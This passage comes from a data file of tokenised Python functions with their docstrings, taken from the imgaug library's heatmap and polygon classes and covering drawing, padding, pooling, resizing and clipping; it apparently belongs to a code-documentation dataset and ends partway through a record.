{"signature": "def draw(self, size=None, cmap=\"<STR_LIT>\"):", "body": "heatmaps_uint8 = self.to_uint8()<EOL>heatmaps_drawn = []<EOL>for c in sm.xrange(heatmaps_uint8.shape[<NUM_LIT:2>]):<EOL><INDENT>heatmap_c = heatmaps_uint8[..., c:c+<NUM_LIT:1>]<EOL>if size is not None:<EOL><INDENT>heatmap_c_rs = ia.imresize_single_image(heatmap_c, size, interpolation=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>heatmap_c_rs = heatmap_c<EOL><DEDENT>heatmap_c_rs = np.squeeze(heatmap_c_rs).astype(np.float32) / <NUM_LIT><EOL>if cmap is not None:<EOL><INDENT>import matplotlib.pyplot as plt<EOL>cmap_func = plt.get_cmap(cmap)<EOL>heatmap_cmapped = cmap_func(heatmap_c_rs)<EOL>heatmap_cmapped = np.delete(heatmap_cmapped, <NUM_LIT:3>, <NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>heatmap_cmapped = np.tile(heatmap_c_rs[..., np.newaxis], (<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:3>))<EOL><DEDENT>heatmap_cmapped = np.clip(heatmap_cmapped * <NUM_LIT:255>, <NUM_LIT:0>, <NUM_LIT:255>).astype(np.uint8)<EOL>heatmaps_drawn.append(heatmap_cmapped)<EOL><DEDENT>return heatmaps_drawn<EOL>", "docstring": "Render the heatmaps as RGB images.\n\nParameters\n----------\nsize : None or float or iterable of int or iterable of float, optional\n    Size of the rendered RGB image as ``(height, width)``.\n    See :func:`imgaug.imgaug.imresize_single_image` for details.\n    If set to None, no resizing is performed and the size of the heatmaps array is used.\n\ncmap : str or None, optional\n    Color map of ``matplotlib`` to use in order to convert the heatmaps to RGB images.\n    If set to None, no color map will be used and the heatmaps will be converted\n    to simple intensity maps.\n\nReturns\n-------\nheatmaps_drawn : list of (H,W,3) ndarray\n    Rendered heatmaps. One per heatmap array channel. Dtype is uint8.", "id": "f16280:c0:m2"}
{"signature": "def draw_on_image(self, image, alpha=<NUM_LIT>, cmap=\"<STR_LIT>\", resize=\"<STR_LIT>\"):", "body": "<EOL>ia.do_assert(image.ndim == <NUM_LIT:3>)<EOL>ia.do_assert(image.shape[<NUM_LIT:2>] == <NUM_LIT:3>)<EOL>ia.do_assert(image.dtype.type == np.uint8)<EOL>ia.do_assert(<NUM_LIT:0> - <NUM_LIT> <= alpha <= <NUM_LIT:1.0> + <NUM_LIT>)<EOL>ia.do_assert(resize in [\"<STR_LIT>\", \"<STR_LIT:image>\"])<EOL>if resize == \"<STR_LIT:image>\":<EOL><INDENT>image = ia.imresize_single_image(image, self.arr_0to1.shape[<NUM_LIT:0>:<NUM_LIT:2>], interpolation=\"<STR_LIT>\")<EOL><DEDENT>heatmaps_drawn = self.draw(<EOL>size=image.shape[<NUM_LIT:0>:<NUM_LIT:2>] if resize == \"<STR_LIT>\" else None,<EOL>cmap=cmap<EOL>)<EOL>mix = [<EOL>np.clip((<NUM_LIT:1>-alpha) * image + alpha * heatmap_i, <NUM_LIT:0>, <NUM_LIT:255>).astype(np.uint8)<EOL>for heatmap_i<EOL>in heatmaps_drawn<EOL>]<EOL>return mix<EOL>", "docstring": "Draw the heatmaps as overlays over an image.\n\nParameters\n----------\nimage : (H,W,3) ndarray\n    Image onto which to draw the heatmaps. Expected to be of dtype uint8.\n\nalpha : float, optional\n    Alpha/opacity value to use for the mixing of image and heatmaps.\n    Higher values mean that the heatmaps will be more visible and the image less visible.\n\ncmap : str or None, optional\n    Color map to use. See :func:`imgaug.HeatmapsOnImage.draw` for details.\n\nresize : {'heatmaps', 'image'}, optional\n    In case of size differences between the image and heatmaps, either the image or\n    the heatmaps can be resized. This parameter controls which of the two will be resized\n    to the other's size.\n\nReturns\n-------\nmix : list of (H,W,3) ndarray\n    Rendered overlays. One per heatmap array channel. Dtype is uint8.", "id": "f16280:c0:m3"}
{"signature": "def invert(self):", "body": "arr_inv = HeatmapsOnImage.from_0to1(<NUM_LIT:1> - self.arr_0to1, shape=self.shape, min_value=self.min_value,<EOL>max_value=self.max_value)<EOL>arr_inv.arr_was_2d = self.arr_was_2d<EOL>return arr_inv<EOL>", "docstring": "Inverts each value in the heatmap, shifting low towards high values and vice versa.\n\nThis changes each value to::\n\n    v' = max - (v - min)\n\nwhere ``v`` is the value at some spatial location, ``min`` is the minimum value in the heatmap\nand ``max`` is the maximum value.\nAs the heatmap uses internally a 0.0 to 1.0 representation, this simply becomes ``v' = 1.0 - v``.\n\nNote that the attributes ``min_value`` and ``max_value`` are not switched. They both keep their values.\n\nThis function can be useful e.g. when working with depth maps, where algorithms might have\nan easier time representing the furthest away points with zeros, requiring an inverted\ndepth map.\n\nReturns\n-------\narr_inv : imgaug.HeatmapsOnImage\n    Inverted heatmap.", "id": "f16280:c0:m4"}
{"signature": "def pad(self, top=<NUM_LIT:0>, right=<NUM_LIT:0>, bottom=<NUM_LIT:0>, left=<NUM_LIT:0>, mode=\"<STR_LIT>\", cval=<NUM_LIT:0.0>):", "body": "arr_0to1_padded = ia.pad(self.arr_0to1, top=top, right=right, bottom=bottom, left=left, mode=mode, cval=cval)<EOL>return HeatmapsOnImage.from_0to1(arr_0to1_padded, shape=self.shape, min_value=self.min_value,<EOL>max_value=self.max_value)<EOL>", "docstring": "Pad the heatmaps on their top/right/bottom/left side.\n\nParameters\n----------\ntop : int, optional\n    Amount of pixels to add at the top side of the heatmaps. Must be 0 or greater.\n\nright : int, optional\n    Amount of pixels to add at the right side of the heatmaps. Must be 0 or greater.\n\nbottom : int, optional\n    Amount of pixels to add at the bottom side of the heatmaps. Must be 0 or greater.\n\nleft : int, optional\n    Amount of pixels to add at the left side of the heatmaps. Must be 0 or greater.\n\nmode : string, optional\n    Padding mode to use. See :func:`numpy.pad` for details.\n\ncval : number, optional\n    Value to use for padding if `mode` is ``constant``. See :func:`numpy.pad` for details.\n\nReturns\n-------\nimgaug.HeatmapsOnImage\n    Padded heatmaps of height ``H'=H+top+bottom`` and width ``W'=W+left+right``.", "id": "f16280:c0:m5"}
{"signature": "def pad_to_aspect_ratio(self, aspect_ratio, mode=\"<STR_LIT>\", cval=<NUM_LIT:0.0>, return_pad_amounts=False):", "body": "arr_0to1_padded, pad_amounts = ia.pad_to_aspect_ratio(self.arr_0to1, aspect_ratio=aspect_ratio, mode=mode,<EOL>cval=cval, return_pad_amounts=True)<EOL>heatmaps = HeatmapsOnImage.from_0to1(arr_0to1_padded, shape=self.shape, min_value=self.min_value,<EOL>max_value=self.max_value)<EOL>if return_pad_amounts:<EOL><INDENT>return heatmaps, pad_amounts<EOL><DEDENT>else:<EOL><INDENT>return heatmaps<EOL><DEDENT>", "docstring": "Pad the heatmaps on their sides so that they match a target aspect ratio.\n\nDepending on which dimension is smaller (height or width), only the corresponding\nsides (left/right or top/bottom) will be padded. In each case, both of the sides will\nbe padded equally.\n\nParameters\n----------\naspect_ratio : float\n    Target aspect ratio, given as width/height. E.g. 2.0 denotes the image having twice\n    as much width as height.\n\nmode : str, optional\n    Padding mode to use. See :func:`numpy.pad` for details.\n\ncval : number, optional\n    Value to use for padding if `mode` is ``constant``. See :func:`numpy.pad` for details.\n\nreturn_pad_amounts : bool, optional\n    If False, then only the padded image will be returned. If True, a tuple with two\n    entries will be returned, where the first entry is the padded image and the second\n    entry are the amounts by which each image side was padded. These amounts are again a\n    tuple of the form (top, right, bottom, left), with each value being an integer.\n\nReturns\n-------\nheatmaps : imgaug.HeatmapsOnImage\n    Padded heatmaps as HeatmapsOnImage object.\n\npad_amounts : tuple of int\n    Amounts by which the heatmaps were padded on each side, given as a tuple ``(top, right, bottom, left)``.\n    This tuple is only returned if `return_pad_amounts` was set to True.", "id": "f16280:c0:m6"}
{"signature": "def avg_pool(self, block_size):", "body": "arr_0to1_reduced = ia.avg_pool(self.arr_0to1, block_size, cval=<NUM_LIT:0.0>)<EOL>return HeatmapsOnImage.from_0to1(arr_0to1_reduced, shape=self.shape, min_value=self.min_value,<EOL>max_value=self.max_value)<EOL>", "docstring": "Resize the heatmap(s) array using average pooling of a given block/kernel size.\n\nParameters\n----------\nblock_size : int or tuple of int\n    Size of each block of values to pool, aka kernel size. See :func:`imgaug.pool` for details.\n\nReturns\n-------\nimgaug.HeatmapsOnImage\n    Heatmaps after average pooling.", "id": "f16280:c0:m7"}
{"signature": "def max_pool(self, block_size):", "body": "arr_0to1_reduced = ia.max_pool(self.arr_0to1, block_size)<EOL>return HeatmapsOnImage.from_0to1(arr_0to1_reduced, shape=self.shape, min_value=self.min_value,<EOL>max_value=self.max_value)<EOL>", "docstring": "Resize the heatmap(s) array using max-pooling of a given block/kernel size.\n\nParameters\n----------\nblock_size : int or tuple of int\n    Size of each block of values to pool, aka kernel size. See :func:`imgaug.pool` for details.\n\nReturns\n-------\nimgaug.HeatmapsOnImage\n    Heatmaps after max-pooling.", "id": "f16280:c0:m8"}
{"signature": "def resize(self, sizes, interpolation=\"<STR_LIT>\"):", "body": "arr_0to1_resized = ia.imresize_single_image(self.arr_0to1, sizes, interpolation=interpolation)<EOL>arr_0to1_resized = np.clip(arr_0to1_resized, <NUM_LIT:0.0>, <NUM_LIT:1.0>)<EOL>return HeatmapsOnImage.from_0to1(arr_0to1_resized, shape=self.shape, min_value=self.min_value,<EOL>max_value=self.max_value)<EOL>", "docstring": "Resize the heatmap(s) array to the provided size given the provided interpolation.\n\nParameters\n----------\nsizes : float or iterable of int or iterable of float\n    New size of the array in ``(height, width)``.\n    See :func:`imgaug.imgaug.imresize_single_image` for details.\n\ninterpolation : None or str or int, optional\n    The interpolation to use during resize.\n    See :func:`imgaug.imgaug.imresize_single_image` for details.\n\nReturns\n-------\nimgaug.HeatmapsOnImage\n    Resized heatmaps object.", "id": "f16280:c0:m10"}
{"signature": "def to_uint8(self):", "body": "<EOL>arr_0to255 = np.clip(np.round(self.arr_0to1 * <NUM_LIT:255>), <NUM_LIT:0>, <NUM_LIT:255>)<EOL>arr_uint8 = arr_0to255.astype(np.uint8)<EOL>return arr_uint8<EOL>", "docstring": "Convert this heatmaps object to a 0-to-255 array.\n\nReturns\n-------\narr_uint8 : (H,W,C) ndarray\n    Heatmap as a 0-to-255 array (dtype is uint8).", "id": "f16280:c0:m11"}
{"signature": "@staticmethod<EOL><INDENT>def from_uint8(arr_uint8, shape, min_value=<NUM_LIT:0.0>, max_value=<NUM_LIT:1.0>):<DEDENT>", "body": "arr_0to1 = arr_uint8.astype(np.float32) / <NUM_LIT><EOL>return HeatmapsOnImage.from_0to1(arr_0to1, shape, min_value=min_value, max_value=max_value)<EOL>", "docstring": "Create a heatmaps object from an heatmap array containing values ranging from 0 to 255.\n\nParameters\n----------\narr_uint8 : (H,W) ndarray or (H,W,C) ndarray\n    Heatmap(s) array, where ``H`` is height, ``W`` is width and ``C`` is the number of heatmap channels.\n    Expected dtype is uint8.\n\nshape : tuple of int\n    Shape of the image on which the heatmap(s) is/are placed. NOT the shape of the\n    heatmap(s) array, unless it is identical to the image shape (note the likely\n    difference between the arrays in the number of channels).\n    If there is not a corresponding image, use the shape of the heatmaps array.\n\nmin_value : float, optional\n    Minimum value for the heatmaps that the 0-to-255 array represents. This will usually\n    be 0.0. It is used when calling :func:`imgaug.HeatmapsOnImage.get_arr`, which converts the\n    underlying ``(0, 255)`` array to value range ``(min_value, max_value)``.\n\nmax_value : float, optional\n    Maximum value for the heatmaps that 0-to-255 array represents.\n    See parameter `min_value` for details.\n\nReturns\n-------\nimgaug.HeatmapsOnImage\n    Heatmaps object.", "id": "f16280:c0:m12"}
{"signature": "@staticmethod<EOL><INDENT>def from_0to1(arr_0to1, shape, min_value=<NUM_LIT:0.0>, max_value=<NUM_LIT:1.0>):<DEDENT>", "body": "heatmaps = HeatmapsOnImage(arr_0to1, shape, min_value=<NUM_LIT:0.0>, max_value=<NUM_LIT:1.0>)<EOL>heatmaps.min_value = min_value<EOL>heatmaps.max_value = max_value<EOL>return heatmaps<EOL>", "docstring": "Create a heatmaps object from an heatmap array containing values ranging from 0.0 to 1.0.\n\nParameters\n----------\narr_0to1 : (H,W) or (H,W,C) ndarray\n    Heatmap(s) array, where ``H`` is height, ``W`` is width and ``C`` is the number of heatmap channels.\n    Expected dtype is float32.\n\nshape : tuple of ints\n    Shape of the image on which the heatmap(s) is/are placed. NOT the shape of the\n    heatmap(s) array, unless it is identical to the image shape (note the likely\n    difference between the arrays in the number of channels).\n    If there is not a corresponding image, use the shape of the heatmaps array.\n\nmin_value : float, optional\n    Minimum value for the heatmaps that the 0-to-1 array represents. This will usually\n    be 0.0. It is used when calling :func:`imgaug.HeatmapsOnImage.get_arr`, which converts the\n    underlying ``(0.0, 1.0)`` array to value range ``(min_value, max_value)``.\n    E.g. if you started with heatmaps in the range ``(-1.0, 1.0)`` and projected these\n    to (0.0, 1.0), you should call this function with ``min_value=-1.0``, ``max_value=1.0``\n    so that :func:`imgaug.HeatmapsOnImage.get_arr` returns heatmap arrays having value\n    range (-1.0, 1.0).\n\nmax_value : float, optional\n    Maximum value for the heatmaps that to 0-to-255 array represents.\n    See parameter min_value for details.\n\nReturns\n-------\nheatmaps : imgaug.HeatmapsOnImage\n    Heatmaps object.", "id": "f16280:c0:m13"}
{"signature": "@classmethod<EOL><INDENT>def change_normalization(cls, arr, source, target):<DEDENT>", "body": "ia.do_assert(ia.is_np_array(arr))<EOL>if isinstance(source, HeatmapsOnImage):<EOL><INDENT>source = (source.min_value, source.max_value)<EOL><DEDENT>else:<EOL><INDENT>ia.do_assert(isinstance(source, tuple))<EOL>ia.do_assert(len(source) == <NUM_LIT:2>)<EOL>ia.do_assert(source[<NUM_LIT:0>] < source[<NUM_LIT:1>])<EOL><DEDENT>if isinstance(target, HeatmapsOnImage):<EOL><INDENT>target = (target.min_value, target.max_value)<EOL><DEDENT>else:<EOL><INDENT>ia.do_assert(isinstance(target, tuple))<EOL>ia.do_assert(len(target) == <NUM_LIT:2>)<EOL>ia.do_assert(target[<NUM_LIT:0>] < target[<NUM_LIT:1>])<EOL><DEDENT>eps = np.finfo(arr.dtype).eps<EOL>mins_same = source[<NUM_LIT:0>] - <NUM_LIT:10>*eps < target[<NUM_LIT:0>] < source[<NUM_LIT:0>] + <NUM_LIT:10>*eps<EOL>maxs_same = source[<NUM_LIT:1>] - <NUM_LIT:10>*eps < target[<NUM_LIT:1>] < source[<NUM_LIT:1>] + <NUM_LIT:10>*eps<EOL>if mins_same and maxs_same:<EOL><INDENT>return np.copy(arr)<EOL><DEDENT>min_source, max_source = source<EOL>min_target, max_target = target<EOL>diff_source = max_source - min_source<EOL>diff_target = max_target - min_target<EOL>arr_0to1 = (arr - min_source) / diff_source<EOL>arr_target = min_target + arr_0to1 * diff_target<EOL>return arr_target<EOL>", "docstring": "Change the value range of a heatmap from one min-max to another min-max.\n\nE.g. the value range may be changed from min=0.0, max=1.0 to min=-1.0, max=1.0.\n\nParameters\n----------\narr : ndarray\n    Heatmap array to modify.\n\nsource : tuple of float\n    Current value range of the input array, given as (min, max), where both are float values.\n\ntarget : tuple of float\n    Desired output value range of the array, given as (min, max), where both are float values.\n\nReturns\n-------\narr_target : ndarray\n    Input array, with value range projected to the desired target value range.", "id": "f16280:c0:m14"}
{"signature": "def copy(self):", "body": "return self.deepcopy()<EOL>", "docstring": "Create a shallow copy of the Heatmaps object.\n\nReturns\n-------\nimgaug.HeatmapsOnImage\n    Shallow copy.", "id": "f16280:c0:m15"}
{"signature": "def deepcopy(self):", "body": "return HeatmapsOnImage(self.get_arr(), shape=self.shape, min_value=self.min_value, max_value=self.max_value)<EOL>", "docstring": "Create a deep copy of the Heatmaps object.\n\nReturns\n-------\nimgaug.HeatmapsOnImage\n    Deep copy.", "id": "f16280:c0:m16"}
{"signature": "def __init__(self, exterior, label=None):", "body": "<EOL>from imgaug.augmentables.kps import Keypoint<EOL>if isinstance(exterior, list):<EOL><INDENT>if not exterior:<EOL><INDENT>self.exterior = np.zeros((<NUM_LIT:0>, <NUM_LIT:2>), dtype=np.float32)<EOL><DEDENT>elif isinstance(exterior[<NUM_LIT:0>], Keypoint):<EOL><INDENT>self.exterior = np.float32([[point.x, point.y] for point in exterior])<EOL><DEDENT>else:<EOL><INDENT>self.exterior = np.float32([[point[<NUM_LIT:0>], point[<NUM_LIT:1>]] for point in exterior])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ia.do_assert(ia.is_np_array(exterior),<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (exterior,))<EOL>ia.do_assert(exterior.ndim == <NUM_LIT:2> and exterior.shape[<NUM_LIT:1>] == <NUM_LIT:2>,<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (<EOL>exterior.shape,))<EOL>self.exterior = np.float32(exterior)<EOL><DEDENT>if len(self.exterior) >= <NUM_LIT:2> and np.allclose(self.exterior[<NUM_LIT:0>, :], self.exterior[-<NUM_LIT:1>, :]):<EOL><INDENT>self.exterior = self.exterior[:-<NUM_LIT:1>]<EOL><DEDENT>self.label = label<EOL>", "docstring": "Create a new Polygon instance.", "id": "f16281:c0:m0"}
{"signature": "@property<EOL><INDENT>def xx(self):<DEDENT>", "body": "return self.exterior[:, <NUM_LIT:0>]<EOL>", "docstring": "Return the x-coordinates of all points in the exterior.\n\nReturns\n-------\n(N,2) ndarray\n    X-coordinates of all points in the exterior as a float32 ndarray.", "id": "f16281:c0:m1"}
{"signature": "@property<EOL><INDENT>def yy(self):<DEDENT>", "body": "return self.exterior[:, <NUM_LIT:1>]<EOL>", "docstring": "Return the y-coordinates of all points in the exterior.\n\nReturns\n-------\n(N,2) ndarray\n    Y-coordinates of all points in the exterior as a float32 ndarray.", "id": "f16281:c0:m2"}
{"signature": "@property<EOL><INDENT>def xx_int(self):<DEDENT>", "body": "return np.int32(np.round(self.xx))<EOL>", "docstring": "Return the x-coordinates of all points in the exterior, rounded to the closest integer value.\n\nReturns\n-------\n(N,2) ndarray\n    X-coordinates of all points in the exterior, rounded to the closest integer value.\n    Result dtype is int32.", "id": "f16281:c0:m3"}
{"signature": "@property<EOL><INDENT>def yy_int(self):<DEDENT>", "body": "return np.int32(np.round(self.yy))<EOL>", "docstring": "Return the y-coordinates of all points in the exterior, rounded to the closest integer value.\n\nReturns\n-------\n(N,2) ndarray\n    Y-coordinates of all points in the exterior, rounded to the closest integer value.\n    Result dtype is int32.", "id": "f16281:c0:m4"}
{"signature": "@property<EOL><INDENT>def is_valid(self):<DEDENT>", "body": "if len(self.exterior) < <NUM_LIT:3>:<EOL><INDENT>return False<EOL><DEDENT>return self.to_shapely_polygon().is_valid<EOL>", "docstring": "Estimate whether the polygon has a valid shape.\n\nTo to be considered valid, the polygons must be made up of at least 3 points and have concave shape.\nMultiple consecutive points are allowed to have the same coordinates.\n\nReturns\n-------\nbool\n    True if polygon has at least 3 points and is concave, otherwise False.", "id": "f16281:c0:m5"}
{"signature": "@property<EOL><INDENT>def area(self):<DEDENT>", "body": "if len(self.exterior) < <NUM_LIT:3>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>poly = self.to_shapely_polygon()<EOL>return poly.area<EOL>", "docstring": "Estimate the area of the polygon.\n\nReturns\n-------\nnumber\n    Area of the polygon.", "id": "f16281:c0:m6"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "yy = self.yy<EOL>return max(yy) - min(yy)<EOL>", "docstring": "Estimate the height of the polygon.\n\nReturns\n-------\nnumber\n    Height of the polygon.", "id": "f16281:c0:m7"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "xx = self.xx<EOL>return max(xx) - min(xx)<EOL>", "docstring": "Estimate the width of the polygon.\n\nReturns\n-------\nnumber\n    Width of the polygon.", "id": "f16281:c0:m8"}
{"signature": "def project(self, from_shape, to_shape):", "body": "if from_shape[<NUM_LIT:0>:<NUM_LIT:2>] == to_shape[<NUM_LIT:0>:<NUM_LIT:2>]:<EOL><INDENT>return self.copy()<EOL><DEDENT>ls_proj = self.to_line_string(closed=False).project(<EOL>from_shape, to_shape)<EOL>return self.copy(exterior=ls_proj.coords)<EOL>", "docstring": "Project the polygon onto an image with different shape.\n\nThe relative coordinates of all points remain the same.\nE.g. a point at (x=20, y=20) on an image (width=100, height=200) will be\nprojected on a new image (width=200, height=100) to (x=40, y=10).\n\nThis is intended for cases where the original image is resized.\nIt cannot be used for more complex changes (e.g. padding, cropping).\n\nParameters\n----------\nfrom_shape : tuple of int\n    Shape of the original image. (Before resize.)\n\nto_shape : tuple of int\n    Shape of the new image. (After resize.)\n\nReturns\n-------\nimgaug.Polygon\n    Polygon object with new coordinates.", "id": "f16281:c0:m9"}
{"signature": "def find_closest_point_index(self, x, y, return_distance=False):", "body": "ia.do_assert(len(self.exterior) > <NUM_LIT:0>)<EOL>distances = []<EOL>for x2, y2 in self.exterior:<EOL><INDENT>d = (x2 - x) ** <NUM_LIT:2> + (y2 - y) ** <NUM_LIT:2><EOL>distances.append(d)<EOL><DEDENT>distances = np.sqrt(distances)<EOL>closest_idx = np.argmin(distances)<EOL>if return_distance:<EOL><INDENT>return closest_idx, distances[closest_idx]<EOL><DEDENT>return closest_idx<EOL>", "docstring": "Find the index of the point within the exterior that is closest to the given coordinates.\n\n\"Closeness\" is here defined based on euclidean distance.\nThis method will raise an AssertionError if the exterior contains no points.\n\nParameters\n----------\nx : number\n    X-coordinate around which to search for close points.\n\ny : number\n    Y-coordinate around which to search for close points.\n\nreturn_distance : bool, optional\n    Whether to also return the distance of the closest point.\n\nReturns\n-------\nint\n    Index of the closest point.\n\nnumber\n    Euclidean distance to the closest point.\n    This value is only returned if `return_distance` was set to True.", "id": "f16281:c0:m10"}
{"signature": "def is_fully_within_image(self, image):", "body": "return not self.is_out_of_image(image, fully=True, partly=True)<EOL>", "docstring": "Estimate whether the polygon is fully inside the image area.\n\nParameters\n----------\nimage : (H,W,...) ndarray or tuple of int\n    Image dimensions to use.\n    If an ndarray, its shape will be used.\n    If a tuple, it is assumed to represent the image shape and must contain at least two integers.\n\nReturns\n-------\nbool\n    True if the polygon is fully inside the image area.\n    False otherwise.", "id": "f16281:c0:m11"}
{"signature": "def is_partly_within_image(self, image):", "body": "return not self.is_out_of_image(image, fully=True, partly=False)<EOL>", "docstring": "Estimate whether the polygon is at least partially inside the image area.\n\nParameters\n----------\nimage : (H,W,...) ndarray or tuple of int\n    Image dimensions to use.\n    If an ndarray, its shape will be used.\n    If a tuple, it is assumed to represent the image shape and must contain at least two integers.\n\nReturns\n-------\nbool\n    True if the polygon is at least partially inside the image area.\n    False otherwise.", "id": "f16281:c0:m12"}
{"signature": "def is_out_of_image(self, image, fully=True, partly=False):", "body": "<EOL>if len(self.exterior) == <NUM_LIT:0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>ls = self.to_line_string()<EOL>return ls.is_out_of_image(image, fully=fully, partly=partly)<EOL>", "docstring": "Estimate whether the polygon is partially or fully outside of the image area.\n\nParameters\n----------\nimage : (H,W,...) ndarray or tuple of int\n    Image dimensions to use.\n    If an ndarray, its shape will be used.\n    If a tuple, it is assumed to represent the image shape and must contain at least two integers.\n\nfully : bool, optional\n    Whether to return True if the polygon is fully outside of the image area.\n\npartly : bool, optional\n    Whether to return True if the polygon is at least partially outside fo the image area.\n\nReturns\n-------\nbool\n    True if the polygon is partially/fully outside of the image area, depending\n    on defined parameters. False otherwise.", "id": "f16281:c0:m13"}
{"signature": "def clip_out_of_image(self, image):", "body": "<EOL>import shapely.geometry<EOL>if self.is_out_of_image(image, fully=True, partly=False):<EOL><INDENT>return []<EOL><DEDENT>h, w = image.shape[<NUM_LIT:0>:<NUM_LIT:2>] if ia.is_np_array(image) else image[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>poly_shapely = self.to_shapely_polygon()<EOL>poly_image = shapely.geometry.Polygon([(<NUM_LIT:0>, <NUM_LIT:0>), (w, <NUM_LIT:0>), (w, h), (<NUM_LIT:0>, h)])<EOL>multipoly_inter_shapely = poly_shapely.intersection(poly_image)<EOL>if not isinstance(multipoly_inter_shapely, shapely.geometry.MultiPolygon):<EOL><INDENT>ia.do_assert(isinstance(multipoly_inter_shapely, shapely.geometry.Polygon))<EOL>multipoly_inter_shapely = shapely.geometry.MultiPolygon([multipoly_inter_shapely])<EOL><DEDENT>polygons = []<EOL>for poly_inter_shapely in multipoly_inter_shapely.geoms:<EOL><INDENT>polygons.append(Polygon.from_shapely(poly_inter_shapely, label=self.label))<EOL><DEDENT>polygons_reordered = []<EOL>for polygon in polygons:<EOL><INDENT>found = False<EOL>for x, y in self.exterior:<EOL><INDENT>closest_idx, dist = polygon.find_closest_point_index(x=x, y=y, return_distance=True)<EOL>if dist < <NUM_LIT>:<EOL><INDENT>polygon_reordered = polygon.change_first_point_by_index(closest_idx)<EOL>polygons_reordered.append(polygon_reordered)<EOL>found = True<EOL>break<EOL><DEDENT><DEDENT>ia.do_assert(found)  <EOL><DEDENT>return polygons_reordered<EOL>", "docstring": "Cut off all parts of the polygon that are outside of the image.\n\nThis operation may lead to new points being created.\nAs a single polygon may be split into multiple new polygons, the result\nis always a list, which may contain more than one output polygon.\n\nThis operation will return an empty list if the polygon is completely\noutside of the image plane.\n\nParameters\n----------\nimage : (H,W,...) ndarray or tuple of int\n    Image dimensions to use for the clipping of the polygon.\n    If an ndarray, its shape will be used.\n    If a tuple, it is assumed to represent the image shape and must\n    contain at least two integers.\n\nReturns\n-------\nlist of imgaug.Polygon\n    Polygon, clipped to fall within the image dimensions.\n    Returned as a list, because the clipping can split the polygon into\n    multiple parts. The list may also be empty, if the polygon was\n    fully outside of the image plane.", "id": "f16281:c0:m15"}
{"signature": "def shift(self, top=None, right=None, bottom=None, left=None):", "body": "ls_shifted = self.to_line_string(closed=False).shift(<EOL>top=top, right=right, bottom=bottom, left=left)<EOL>return self.copy(exterior=ls_shifted.coords)<EOL>", "docstring": "Shift the polygon from one or more image sides, i.e. move it on the x/y-axis.\n\nParameters\n----------\ntop : None or int, optional\n    Amount of pixels by which to shift the polygon from the top.\n\nright : None or int, optional\n    Amount of pixels by which to shift the polygon from the right.\n\nbottom : None or int, optional\n    Amount of pixels by which to shift the polygon from the bottom.\n\nleft : None or int, optional\n    Amount of pixels by which to shift the polygon from the left.\n\nReturns\n-------\nimgaug.Polygon\n    Shifted polygon.", "id": "f16281:c0:m16"}
{"signature": "def draw_on_image(self,<EOL>image,<EOL>color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>), color_face=None,<EOL>color_lines=None, color_points=None,<EOL>alpha=<NUM_LIT:1.0>, alpha_face=None,<EOL>alpha_lines=None, alpha_points=None,<EOL>size=<NUM_LIT:1>, size_lines=None, size_points=None,<EOL>raise_if_out_of_image=False):", "body": "assert color is not None<EOL>assert alpha is not None<EOL>assert size is not None<EOL>color_face = color_face if color_face is not None else np.array(color)<EOL>color_lines = color_lines if color_lines is not None else np.array(color) * <NUM_LIT:0.5><EOL>color_points = color_points if color_points is not None else np.array(color) * <NUM_LIT:0.5><EOL>alpha_face = alpha_face if alpha_face is not None else alpha * <NUM_LIT:0.5><EOL>alpha_lines = alpha_lines if alpha_lines is not None else alpha<EOL>alpha_points = alpha_points if alpha_points is not None else alpha<EOL>size_lines = size_lines if size_lines is not None else size<EOL>size_points = size_points if size_points is not None else size * <NUM_LIT:3><EOL>if image.ndim == <NUM_LIT:2>:<EOL><INDENT>assert ia.is_single_number(color_face), (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(color_face),))<EOL>color_face = [color_face]<EOL><DEDENT>elif image.ndim == <NUM_LIT:3> and ia.is_single_number(color_face):<EOL><INDENT>color_face = [color_face] * image.shape[-<NUM_LIT:1>]<EOL><DEDENT>if alpha_face < <NUM_LIT>:<EOL><INDENT>alpha_face = <NUM_LIT:0><EOL><DEDENT>elif alpha_face > <NUM_LIT>:<EOL><INDENT>alpha_face = <NUM_LIT:1><EOL><DEDENT>if raise_if_out_of_image and self.is_out_of_image(image):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (<EOL>str(self), image.shape<EOL>))<EOL><DEDENT>input_dtype = image.dtype<EOL>result = image.astype(np.float32)<EOL>rr, cc = skimage.draw.polygon(self.yy_int, self.xx_int, shape=image.shape)<EOL>if len(rr) > <NUM_LIT:0>:<EOL><INDENT>if alpha_face == <NUM_LIT:1>:<EOL><INDENT>result[rr, cc] = np.float32(color_face)<EOL><DEDENT>elif alpha_face == <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>result[rr, cc] = (<EOL>(<NUM_LIT:1> - alpha_face) * result[rr, cc, :]<EOL>+ alpha_face * np.float32(color_face)<EOL>)<EOL><DEDENT><DEDENT>ls_open = self.to_line_string(closed=False)<EOL>ls_closed = self.to_line_string(closed=True)<EOL>result = ls_closed.draw_lines_on_image(<EOL>result, color=color_lines, alpha=alpha_lines,<EOL>size=size_lines, raise_if_out_of_image=raise_if_out_of_image)<EOL>result = ls_open.draw_points_on_image(<EOL>result, color=color_points, alpha=alpha_points,<EOL>size=size_points, raise_if_out_of_image=raise_if_out_of_image)<EOL>if input_dtype.type == np.uint8:<EOL><INDENT>result = np.clip(np.round(result), <NUM_LIT:0>, <NUM_LIT:255>).astype(input_dtype)  <EOL><DEDENT>else:<EOL><INDENT>result = result.astype(input_dtype)<EOL><DEDENT>return result<EOL>", "docstring": "Draw the polygon on an image.\n\nParameters\n----------\nimage : (H,W,C) ndarray\n    The image onto which to draw the polygon. Usually expected to be\n    of dtype ``uint8``, though other dtypes are also handled.\n\ncolor : iterable of int, optional\n    The color to use for the whole polygon.\n    Must correspond to the channel layout of the image. Usually RGB.\n    The values for 